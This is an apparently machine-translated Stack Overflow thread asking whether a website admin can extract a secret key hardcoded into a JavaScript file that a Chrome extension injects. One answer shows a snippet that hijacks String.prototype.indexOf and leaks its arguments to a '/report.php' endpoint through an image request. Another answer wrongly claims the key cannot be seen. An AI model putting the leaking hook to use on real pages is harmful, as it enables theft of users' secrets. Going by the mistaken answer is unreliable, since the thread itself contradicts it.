0

我创建了一个 google-chrome-extension,它将网站上的 javascript 文件的所有请求重定向到我硬盘上该文件的修改版本。它有效,我这样做简化如下:

... redirectUrl: chrome.extension.getURL("modified.js")  ...

Modified.js 是相同的 javascript 文件,只是我修改了代码中的一行。我改变了一些看起来像

var message = mytext.value;

var message = aes.encrypt(mytext.value,"mysecretkey");

我现在的问题是这个网站的管理员是否有可能在我重定向 javascript 文件的地方修改他的网页,他可以获得“mysecretkey”。(管理员知道我的扩展是如何工作的以及修改了哪一行但不知道使用的密钥)

提前致谢

4

3 回答 3

0

由于管理员可以控制站点的任何方面,他们可以轻松地修改aes.encrypt以将第二个参数发布给他们,然后照常继续。因此,您的密钥将立即被泄露。

于 2012-10-04T23:35:23.123 回答
0

不可以。Web 管理员无法看到您设置的内容,然后才能将其发送到他可以看到的服务器。

于 2012-10-04T23:38:51.583 回答
0

的,“管理员”可以阅读您的代码的源代码。
你的方法很不安全。有两种方法可以读取“mysecretkey”。

让我们从重要的开始:获取对源的引用。示例,假设您的aes.encrypt方法如下所示:

(function() {
    var aes = {encrypt: function(val, key) {
        if (key.indexOf('whatever')) {/* ... */}
    }};
})();

然后可以使用以下方法对其进行妥协:

(function(indexOf) {
    String.prototype.indexOf = function(term) {
        if (term !== 'known') (new Image).src = '/report.php?t=' + term;
        return indexOf.apply(this, arguments);
    };
})(String.prototype.indexOf);

许多prototype方法可能导致泄漏,以及arguments.callee. 如果“管理员”想要破坏您的代码,他肯定能够做到这一点。

另一种方法更容易实现

var x = new XMLHttpRequest();
x.open('GET', '/possiblymodified.js');
x.onload = function() {
    console.log(x.responseText); // Full source code here....
};
x.send();

您可以替换该XMLHttpRequest方法,但此时,您只是在玩猫捉老鼠的游戏。每当您认为您已经保护了您的代码时,对方就会找到破解它的方法(例如,使用第一个描述的方法)。

于 2012-10-05T13:27:00.973 回答